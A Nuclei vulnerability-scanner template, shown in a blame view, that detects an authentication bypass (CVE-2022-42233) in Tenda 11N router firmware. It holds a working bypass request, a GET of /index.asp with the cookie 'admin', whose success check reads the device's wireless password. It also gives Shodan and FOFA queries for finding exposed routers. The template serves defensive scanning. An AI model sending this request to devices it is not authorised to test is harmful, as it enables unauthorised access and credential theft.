nuclei-templates/http/cves/2022/CVE-2022-42233.yaml

56 lines
1.6 KiB
YAML
Raw Normal View History

2022-11-02 15:44:15 +00:00
id: CVE-2022-42233
info:
name: Tenda 11N - Authentication Bypass
author: For3stCo1d
severity: critical
description: |
2023-04-10 19:56:05 +00:00
Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest firmware update provided by Tenda to fix the authentication bypass vulnerability (CVE-2022-42233).
2022-11-02 15:44:15 +00:00
reference:
- https://github.com/D0ngsec/vulns/blob/main/Tenda/Tenda_11N_Authentication_Bypass.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-42233
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-42233
cwe-id: CWE-287
2023-08-31 11:46:18 +00:00
epss-score: 0.89148
epss-percentile: 0.98301
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:o:tenda:11n_firmware:5.07.33_cn:*:*:*:*:*:*:*
2022-11-02 15:44:15 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: tenda
product: 11n_firmware
2023-09-06 11:59:08 +00:00
shodan-query: http.title:"Tenda 11N"
fofa-query: product=="Tenda-11N-Wireless-AP"
2022-11-03 12:18:21 +00:00
tags: cve,cve2022,tenda,auth-bypass,router,iot
2022-11-02 15:44:15 +00:00
http:
2022-11-02 15:44:15 +00:00
- raw:
- |
GET /index.asp HTTP/1.1
2022-11-02 16:16:14 +00:00
Host: {{Hostname}}
2022-11-02 15:44:15 +00:00
Cookie: admin
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'def_wirelesspassword'
2022-11-03 12:18:21 +00:00
- 'Tenda 11N'
case-insensitive: true
2023-07-11 19:49:27 +00:00
condition: and
2022-11-02 15:44:15 +00:00
- type: word
part: header
words:
- 'GoAhead-Webs'
- type: status
status:
- 200